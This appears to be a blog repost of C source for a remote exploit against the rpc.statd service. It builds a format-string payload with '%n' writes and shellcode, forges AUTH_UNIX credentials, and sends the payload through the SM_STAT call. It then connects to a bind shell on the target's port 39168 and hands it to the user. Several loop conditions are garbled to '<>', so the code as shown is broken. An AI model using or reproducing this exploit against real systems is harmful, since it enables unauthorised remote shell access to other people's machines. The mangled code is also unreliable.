void
connection(struct sockaddr_in host)
{
int sockd;
host.sin_port = htons(39168);
if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) <>
{
perror("socket()");
exit(EXIT_FAILURE);
}
if(!connect(sockd, (struct sockaddr *) &host, sizeof host))
{
printf("OMG! You now have rpc.statd technique!@#$!\n");
runshell(sockd);
}
close(sockd);
}
char *
wizardry(char *sc, u_long bufpos, int buflen, int offset, int wipe)
{
int i, j, cnt, pad;
char pbyte, *buff, *ptr;
u_long retpos;
u_long dstpos;
while(bufpos % 4) bufpos--;
/* buflen + ebp */
retpos = bufpos + buflen + 4;
/*
** 0x00 == '\0'
** 0x25 == '%'
** (add troublesome bytes)
** Alignment requirements aid comparisons
*/
pbyte = retpos & 0xff;
/* Yes, it's 0x24 */
if(pbyte == 0x00 || pbyte == 0x24)
{
fprintf(stderr, "Target address space contains a poison char\n");
exit(EXIT_FAILURE);
}
/*
** Unless the user gives us a psychotic value,
** the address should now be clean.
*/
/* str */
cnt = 24;
/* 1 = process nul */
buflen -= cnt + 1;
if(!(buff = malloc(buflen + 1)))
{
perror("malloc()");
exit(EXIT_FAILURE);
}
ptr = buff;
memset(ptr, NOP, buflen);
for(i = 0; i <>
{
/* junk dword */
for(j = 0; j <>
*ptr++ = retpos >> j * 8 & 0xff;
/* r + i */
memcpy(ptr, ptr - 4, 4);
ptr += 4; cnt += 8;
}
/* restore */
retpos -= 4;
for(i = 0; i <>
{
/* consistent calculations */
strncpy(ptr, "%8x", 3);
ptr += 3; cnt += 8;
}
dstpos = bufpos + offset;
/*
** This small algorithm of mine can be used
** to obtain "difficult" values..
*/
for(i = 0; i <>
{
pad = dstpos >> i * 8 & 0xff;
if(pad == (cnt & 0xff))
{
sprintf(ptr, "%%n%%n");
ptr += 4; continue;
}
else
{
int tmp;
/* 0xffffffff = display count of 8 */
while(pad <>
pad -= cnt, cnt += pad;
/* the source of this evil */
tmp = sprintf(ptr, "%%%dx%%n", pad);
ptr += tmp;
}
}
*ptr = NOP;
/* plug in the shellcode */
memcpy(buff + buflen - strlen(sc), sc, strlen(sc));
buff[buflen] = '\0';
printf("buffer: %#lx length: %d (+str/+nul)\n", bufpos, strlen(buff));
printf("target: %#lx new: %#lx (offset: %d)\n", retpos, dstpos, offset);
printf("wiping %d dwords\n", wipe);
return buff;
}
struct in_addr
getip(char *host)
{
struct hostent *hs;
if((hs = gethostbyname(host)) == NULL)
{
herror("gethostbyname()");
exit(EXIT_FAILURE);
}
return *((struct in_addr *) hs->h_addr);
}
int
main(int argc, char **argv)
{
int ch;
char *buff;
CLIENT *clnt;
enum clnt_stat res;
struct timeval tv, tvr;
struct sm_name smname;
struct sm_stat_res smres;
struct sockaddr_in addr;
int type = -1;
int usetcp = 0;
int timeout = 5;
int wipe = 9;
int offset = 600;
int buflen = 1024;
char *target;
char *sc = shellcode;
u_short port = 0;
u_long bufpos = 0;
int sockp = RPC_ANYSOCK;
extern char *optarg;
extern int optind;
extern int opterr;
opterr = 0;
while((ch = getopt(argc, argv, "tp:a:l:o:w:s:d:")) != -1)
{
switch(ch)
{
case 't': usetcp = 1; break;
case 'p': sscanf(optarg, "%hu", &port); break;
case 'a': sscanf(optarg, "%lx", &bufpos); break;
case 'l': buflen = atoi(optarg); break;
case 'o': offset = atoi(optarg); break;
case 's': timeout = atoi(optarg); break;
case 'w': wipe = atoi(optarg); break;
case 'd': type = atoi(optarg); break;
default : usage(argv[0]);
}
}
if(!(target = argv[optind]))
{
fprintf(stderr, "No target host specified\n");
exit(EXIT_FAILURE);
}
if(type >= 0)
{
if(type >= sizeof types / sizeof types[0] - 1)
{
fprintf(stderr, "Invalid type\n");
exit(EXIT_FAILURE);
}
sc = types[type].code;
bufpos = types[type].bufpos;
buflen = types[type].buflen;
offset = types[type].offset;
wipe = types[type].wipe;
}
if(!bufpos)
{
fprintf(stderr, "No buffer address specified\n");
exit(EXIT_FAILURE);
}
bzero(&addr, sizeof addr);
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr = getip(target);
tv.tv_sec = timeout;
tv.tv_usec = 0;
if(!usetcp)
{
clnt = clntudp_create(&addr, SM_PROG, SM_VERS, tv, &sockp);
if(clnt == NULL)
{
clnt_pcreateerror("clntudp_create()");
exit(EXIT_FAILURE);
}
tvr.tv_sec = 2;
tvr.tv_usec = 0;
clnt_control(clnt, CLSET_RETRY_TIMEOUT, (char *) &tvr);
}
else
{
clnt = clnttcp_create(&addr, SM_PROG, SM_VERS, &sockp, 0, 0);
if(clnt == NULL)
{
clnt_pcreateerror("clnttcp_create()");
exit(EXIT_FAILURE);
}
}
/* AUTH_UNIX / AUTH_SYS authentication forgery */
clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
buff = wizardry(sc, bufpos, buflen, offset, wipe);
smname.mon_name = buff;
res = clnt_call(clnt, SM_STAT, (xdrproc_t) xdr_sm_name,
(caddr_t) &smname, (xdrproc_t) xdr_sm_stat_res,
(caddr_t) &smres, tv);
if(res != RPC_SUCCESS)
{
clnt_perror(clnt, "clnt_call()");
printf("A timeout was expected. Attempting connection to shell..");
sleep(5); connection(addr);
printf("Failed\n");
}
else
{
printf("Failed - statd returned res_stat: (%s) state: %d\n",
smres.res_stat ? "failure" : "success", smres.state);
}
free(buff);
clnt_destroy(clnt);
return -1;
}
ends here
0 comments
Post a Comment